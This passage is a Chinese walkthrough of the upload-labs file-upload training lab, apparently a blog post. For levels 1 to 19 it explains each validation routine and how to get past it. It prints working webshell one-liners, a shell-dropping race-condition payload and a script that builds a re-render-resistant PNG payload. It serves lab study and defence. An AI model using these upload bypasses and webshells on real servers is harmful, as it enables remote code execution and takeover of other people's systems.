天天看點

【upload-labs】檔案上傳通關攻略

目錄

pass-01 前端js過濾

pass-02 修改MIME類型

pass-03 換字尾别名過濾

pass-04 htaccess利用

pass-05 .user.ini利用

pass-06 大小寫過濾

pass-07 空格過濾

pass-08 點過濾

pass-09 ::$DATA過濾

pass-10 點空格繞過

pass-11 雙寫繞過

pass-12 %00截斷

pass-13 00截斷

pass-14 圖檔馬:檢查檔案頭字

pass-15 圖檔馬:getimagesize

pass-16 圖檔馬:exif_imagetype

pass-17 二次渲染

pass-18 條件競争1

pass-19 條件競争2+解析漏洞

pass-20 斜杠點繞過

pass-21 斜杠點+數組繞過

總結

檔案上傳的思路有:

【upload-labs】檔案上傳通關攻略

pass-01 前端js過濾

源碼解析:

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("請選擇要上傳的檔案!");
        return false;
    }
    //定義允許上傳的檔案類型
    var allow_ext = ".jpg|.png|.gif";
    //提取上傳檔案的類型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判斷上傳檔案類型是否允許上傳
    if (allow_ext.indexOf(ext_name) == -1) {
        var errMsg = "該檔案不允許上傳,請上傳" + allow_ext + "類型的檔案,目前檔案類型為:" + ext_name;
        alert(errMsg);
        return false;
    }
}
           

在這一關中,當使用者點選上傳檔案時,會觸發一個點選事件,調研js中的函數checkFile,先判斷有沒有選擇檔案,然後設定允許上傳檔案的格式,通過最後一個“ . ”擷取上傳檔案的字尾,然後判斷其是否在允許上傳的範圍。

利用:

方法一:因為這是在用js代碼在前端進行校驗,我們可以直接利用插件禁用script繞過上傳

方法二:也可以将上傳的檔案字尾修改為合法字尾,然後抓包修改為原來的字尾

pass-02 修改MIME類型

源碼解析:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '檔案類型不正确,請重新上傳!';
        }
    } else {
        $msg = UPLOAD_PATH.'檔案夾不存在,請手工建立!';
    }
}
           

在進行檔案上傳時,浏覽器會設定一個請求頭Content-Type對上傳檔案的類型進行說明,而這一關在背景中采用$_FILES['upload_file']['type']對檔案上傳的類型(Content-Type)進行校驗

利用:

上傳一個shell.php檔案,将Content-Type的application/octet-stream改為image/jpeg,即可上傳成功

【upload-labs】檔案上傳通關攻略

 檢視upload檔案夾也可以發現shell.php檔案,即上傳成功

pass-03 換字尾别名過濾

源碼解析:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除檔案名末尾的點
        $file_ext = strrchr($file_name, '.'); //去掉.加檔案名稱,隻保留檔案字尾
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//将file_ext中的字元串::$DATA替換成空
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '不允許上傳.asp,.aspx,.php,.jsp字尾檔案!';
        }
    } else {
        $msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
    }
}
           

$deny_ext制定了黑名單,緊跟着六行将上傳的檔案字尾提取出來

$temp_file = $_FILES['upload_file']['tmp_name']擷取檔案被上傳後在服務端儲存的臨時檔案名

$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;     待修改檔案名       

if (move_uploaded_file($temp_file,$img_path))  移動即為修改

利用:

可直接将php改為php5|phtml|phps|pht等

前提是apache的httpd.conf中有如下配置代碼:

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

【upload-labs】檔案上傳通關攻略

 另外,在upload檔案夾上也可以看到上傳成功的檔案

pass-04 htaccess利用

源碼解析:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除檔案名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此檔案不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
    }
}
           

這一關源碼跟上一個類似,隻不過黑名單的範圍更大的,無法通過修改同義字尾直接進行檔案上傳

但是沒有過濾htaccess,而當htaccess檔案中存在以下配置時:

SetHandler application/x-httpd-php

會将所有的檔案都當初php檔案執行(前提條件:

1.mod_rewrite子產品開啟。2.AllowOverride All

利用:

1上傳htaccess檔案

【upload-labs】檔案上傳通關攻略

2抓包修改htaccess,去掉前面的檔案名

【upload-labs】檔案上傳通關攻略

 3利用成功

【upload-labs】檔案上傳通關攻略

附:開啟前提條件

Apache/conf/conf.httpd 

【upload-labs】檔案上傳通關攻略
【upload-labs】檔案上傳通關攻略

pass-05 .user.ini利用

源碼解析:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除檔案名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此檔案類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
    }
}
           

跟上一關類似,但這裡将htaccess也過濾了,但是沒有對檔案進行複制式重命名,另外.ini檔案也沒有過濾

【upload-labs】檔案上傳通關攻略

 利用

1 上傳一個.user.ini檔案(使用者自定義配置檔案),此檔案内容為auto_propend_file=1.jpg,即所有的php檔案都包含一個1.jpg檔案

2 将webshell命名為1.jpg

3 利用readme.php(由于.user.ini的配置,使得readme.php包含了1.jpg,即一句話木馬)

【upload-labs】檔案上傳通關攻略

注意:.user.ini隻有在fastCGI起作用,在apache下是沒有用的

在phpstudy中修改為php+nginx php+nts+ngnix(兩者都是CGI/FastCGI模式,但隻要後面那個起作用)

【upload-labs】檔案上傳通關攻略

 關于CGI/fast CGI:圖源:CGI、FastCGI和PHP-FPM關系圖解 -php教程-PHP中文網

【upload-labs】檔案上傳通關攻略

pass-06 大小寫過濾

源碼解析:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除檔案名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此檔案類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
    }
}
           

提示顯示:本pass禁止上傳: .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字尾檔案!

與前面的源碼相比,少了$file_ext = strtolower($file_ext); //轉換為小寫,雖然黑名單比較大,但還是可以上傳字尾為phP* PHP* PHp* pHP* Php* 的檔案

pass-07 空格過濾

源碼解析

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除檔案名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此檔案不允許上傳';
        }
    } else {
        $msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
    }
}
           

與上面的源碼相比,少了  $file_ext = trim($file_ext); //首尾去空  這一句,即可以看利用字尾加空繞過

這個時候需改為apache當容器,否則,打開上傳的檔案時會直接下載下傳

利用

【upload-labs】檔案上傳通關攻略

 修改字尾時應該php後面加空格,否則,雖然能上傳成功,但是無法利用,這是由于檔案命名時會自動忽略最後的空格

【upload-labs】檔案上傳通關攻略

pass-08 點過濾

源碼解析:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此檔案類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
    }
}
           

與上面源碼相比,少了  $file_name = deldot($file_name);//删除檔案名末尾的點   即後面根據 . 将字尾和檔案名劃分無效,這就使得無法過濾字尾

利用:随意上傳webshell,後面添加一個 . 就行了,即比對黑名單時是php. 完美過濾

【upload-labs】檔案上傳通關攻略

 在upload上 . 自動消失(windows特征,重命名字尾加.會自動消失)

【upload-labs】檔案上傳通關攻略

pass-09 ::$DATA過濾

源碼解析:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除檔案名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        } else {
            $msg = '此檔案類型不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
    }
}
           

與上面的源碼相比,少了  $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA  

檔案名+"::$DATA"會把::$DATA之後的資料當成檔案流處理,由于沒有去掉::$DATA,最後會過濾成php::$DATA與黑名單比較

在pass-08中,如果直接加::$DATA 不能繞過,因為去掉::$DATA就是php,這會直接比對黑名單

如果加.::$DATA 可以上傳成功,這個時候就是上傳一個php.檔案 但是這與直接加.不一樣,不會自動将.消失,反而成為一個很詭異的檔案,不能删除,不能打開(直接說此檔案不存在)

當然,這裡不探讨太多,在這一題中,因為,可以添加抓包修改webshell,原檔案字尾後面添加::$DATA, 最後提取出來的字尾變成php::$DATA(缺失的一句代碼就是影響這裡)即可繞過黑名單,但因為::$DATA後面是資訊流,儲存至伺服器時就變成正常的php檔案

【upload-labs】檔案上傳通關攻略
【upload-labs】檔案上傳通關攻略

pass-10 點空格繞過

源碼分析

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除檔案名末尾的點
        $file_ext = strrchr($file_name, '.'); #一個字元串在另外一個字元串最後一次出現的位置,并傳回該字元後(包含該字元串)的字元串
        $file_ext = strtolower($file_ext); //轉換為小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字元串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯!';
            }
        }
           

首先将原檔案名去掉空格,去掉末尾的點,得到file_name

在file_name的基礎上,擷取最後一個.開始的字元串,去掉::$DATA和空格

利用

依據上面分析,為了使.php逃出過濾,可構造檔案名.php. . 即原字尾點空格(空字尾)點(應對deldot)

這個時候,file_name出來是.php.空格    file_ext出來是.空格 逃出黑名單

【upload-labs】檔案上傳通關攻略

 在Windows中.空格會消失

但是,沒有空格,點也會消失,不要空格好像也可以,file_ext出來是點,可以逃出來,file_name是原字尾加點,點一樣也會消失,我們試一下

【upload-labs】檔案上傳通關攻略

 原因是這樣的,deldot(自定義函數)是去掉末尾所有連續的點,而不是隻去掉一個

function deldot($s){
	for($i = strlen($s)-1;$i>0;$i--){
		$c = substr($s,$i,1);
		if($i == strlen($s)-1 and $c != '.'){
			return $s;
		}

		if($c != '.'){
			return substr($s,0,$i+1);
		}
	}
}
           

pass-11 雙寫繞過

源碼分析

if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name); //比對過濾
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上傳出錯!';
        }
    } else {
        $msg = UPLOAD_PATH . '檔案夾不存在,請手工建立!';
    }
           

從這題開始,源碼變化很大,這裡很明顯是将符合黑名單的字尾比對去掉,直接雙寫利用就行了

利用

【upload-labs】檔案上傳通關攻略

 str_ireplace是不區分大小寫的,所有這裡大小寫混合過濾無效

pass-12 %00截斷

源碼分析:

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); //擷取最後一個點後一位開始的字元串
    if(in_array($file_ext,$ext_arr)){ //是否在白名單内
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳失敗";
        }
    } else {
        $msg = "隻允許上傳.jpg|.png|.gif類型檔案!";
    }
           

strstr 傳回該字元(串)首次出現到字元串尾部分, 包括該字元(串)。

strstr 傳回該字元(串)最後出現到字元串尾部分, 包括該字元(串)。

strpos 傳回某個字元串第一次出現的位置

strrpos 傳回某個字元串最後出現的位置

與前面不一樣,這裡就變成白名單了

這裡需要%00截斷的知識點,條件為

(1)php版本必須小于5.3.4

(2)打開php的配置檔案php-ini,将magic_quotes_gpc設定為Off

截斷符%00   \0   0x00

【upload-labs】檔案上傳通關攻略

pass-13 00截斷

跟上面一樣,隻不過将GET改成POST,不作過多描述

不一樣的是,這裡采用的是00截斷

【upload-labs】檔案上傳通關攻略

pass-14 圖檔馬:檢查檔案頭字

源碼分析

$file = fopen($filename, "rb");
    $bin = fread($file, 2); //隻讀2位元組
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);   //将二進制解包,生成chars1 chars2數組 
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); //擷取整型資料   
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
           

這裡會讀取檔案的前兩個位元組,并轉換成整型,以此判斷是否是圖檔

故無需理會字尾,也不用考核直接把php修改成jpg等在檔案包含利用

利用:

1 直接在圖檔檔案後面加上webshell

【upload-labs】檔案上傳通關攻略
【upload-labs】檔案上傳通關攻略

 2 上傳php檔案,增加圖檔前面兩個位元組的内容,如這裡的GIF89a是gif檔案前面幾個位元組的内容

【upload-labs】檔案上傳通關攻略
【upload-labs】檔案上傳通關攻略

pass-15 圖檔馬:getimagesize

源碼解析:

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename); //擷取圖像資訊,不僅僅是大小
        $ext = image_type_to_extension($info[2]);  //數組分别為高度 寬度 類型 屬性 這裡info[2]為類型
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}
           

getimagesize擷取圖像資訊

 利用

上一題直接在圖檔後面添加代碼,可能是破壞是圖檔完整性(因為這個圖檔不能正常打開,有可能也會正常顯示,看人品)

是以這裡不能那麼簡單粗暴了

【upload-labs】檔案上傳通關攻略

 上傳利用

【upload-labs】檔案上傳通關攻略

pass-16 圖檔馬:exif_imagetype

源碼分析

function isImage($filename){
    //需要開啟php_exif子產品
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}
           

跟上兩題一樣,就是檢查邏輯不一樣,直接利用上一題的檔案上傳

pass-17 二次渲染

源碼分析:

// 獲得上傳檔案的基本資訊,檔案名,類型,大小,臨時檔案路徑
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 獲得上傳檔案的擴充名
    $fileext= substr(strrchr($filename,"."),1);

    //判斷檔案字尾與類型,合法才進行上傳操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖檔生成新的圖檔
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "該檔案不是jpg格式的圖檔!";
                @unlink($target_path);
            }else{
                //給新圖檔指定檔案名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //顯示二次渲染後的圖檔(使用使用者上傳圖檔生成的新圖檔)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯!";
        }
           

這裡imagecreatefromjpeg方法對圖檔進行了二次渲染,注意一下這個是php函數,不是自定義的

而這個函數隻是對部門圖檔資料進行更改,我們要做的,就是分析出哪塊不會更改

利用

1 上傳一個圖檔馬,檔案包含打開,php語句沒有執行

【upload-labs】檔案上傳通關攻略
【upload-labs】檔案上傳通關攻略

 2 将圖檔另存下來,利用flexHEX對比兩者

【upload-labs】檔案上傳通關攻略
【upload-labs】檔案上傳通關攻略

 找到php語句,并将其對應的16進制寫入到不會改變的前25位元組中

【upload-labs】檔案上傳通關攻略
【upload-labs】檔案上傳通關攻略

儲存再次上傳,上傳失敗,這是由于證明是png檔案的位元組已經被我修改了。

換個格式要求沒那麼嚴格的gif檔案嘗試一下,發現可以成功上傳并利用

對于png檔案:

下面先對png檔案格式作簡單介紹

【upload-labs】檔案上傳通關攻略
【upload-labs】檔案上傳通關攻略
【upload-labs】檔案上傳通關攻略

php在二次渲染時并不會對PLTE資料塊進行修改,僅做CRC校驗,但是需要IHDR中的color type為03(這種方法失敗率比較高,特别是沒有PLTE資料塊的png檔案)

此外,有大神寫出了一個生成圖檔腳本,此圖檔不會被二次渲染函數改變

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>
           

執行後生成圖檔

【upload-labs】檔案上傳通關攻略

且其被渲染後也不會改變

【upload-labs】檔案上傳通關攻略

 注:在<?=$_GET[0]($_POST[1]); >中

<?=  ?> 相當于<? echo  ?>

 $_GET不能傳入eval 可以傳入assert

【upload-labs】檔案上傳通關攻略

 jpg也采用大神的腳本Upload-Labs第Pass-16通關(二次渲染繞過) 詳解 - 付傑部落格 (fujieace.com)

pass-18 條件競争1

源碼分析

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];  //上傳過程中存放的臨時檔案
    $file_ext = substr($file_name,strrpos($file_name,".")+1); //擷取字尾
    $upload_file = UPLOAD_PATH . '/' . $file_name; //原檔案名

    { //先上傳
        if(in_array($file_ext,$ext_arr)){  //再判斷是否在黑名單内
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);  //原檔案名替換成新檔案名
             $is_upload = true;
        }else{
            $msg = "隻允許上傳.jpg|.png|.gif類型檔案!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯!';
    }
}
           

在這題中,先将檔案上傳到upload目錄中,然後再判斷是否在黑名單中,如果不在,則重命名,如果在黑名單内,則删除

利用

這裡主要是在從上傳到upload目錄中再判斷是否在黑名單内的間隙中及時進行利用,而為了能持久性利用,在這個時間間隙中還應該寫入一個新的webshell,這樣就算我們上傳的檔案被删除了還是可以繼續利用的。

【upload-labs】檔案上傳通關攻略

1 構造pass18.php

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["x"])?>’);?>

這個語句是指當通路pass18.php時,就會像寫入一個shell.php

2 利用burpsuite不斷發送上傳pass18.php的請求

【upload-labs】檔案上傳通關攻略
【upload-labs】檔案上傳通關攻略

 3 利用python構造不斷請求pass18.php的腳本,請求傳回200結束

【upload-labs】檔案上傳通關攻略

 4 有時候python成功請求了,但并不代表順利寫入shell.php,多次幾遍。最後通路shell.php

【upload-labs】檔案上傳通關攻略

pass-19 條件競争2+解析漏洞

源碼分析

$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '檔案已經被上傳,但沒有重命名。';
            break; 
        case -1:
            $msg = '這個檔案不能上傳到伺服器的臨時檔案存儲目錄。';
            break; 
        case -2:
            $msg = '上傳失敗,上傳目錄不可寫。';
            break; 
        case -3:
            $msg = '上傳失敗,無法上傳該類型檔案。';
            break; 
        case -4:
            $msg = '上傳失敗,上傳的檔案過大。';
            break; 
        case -5:
            $msg = '上傳失敗,伺服器已經存在相同名稱檔案。';
            break; 
        case -6:
            $msg = '檔案無法上傳,檔案不能複制到目标目錄。';
            break;      
        default:
            $msg = '未知錯誤!';
            break;
    }
}

//myupload.php
class MyUpload{
......
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );
......
  function upload( $dir ){    
    $ret = $this->isUploadedFile();    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }
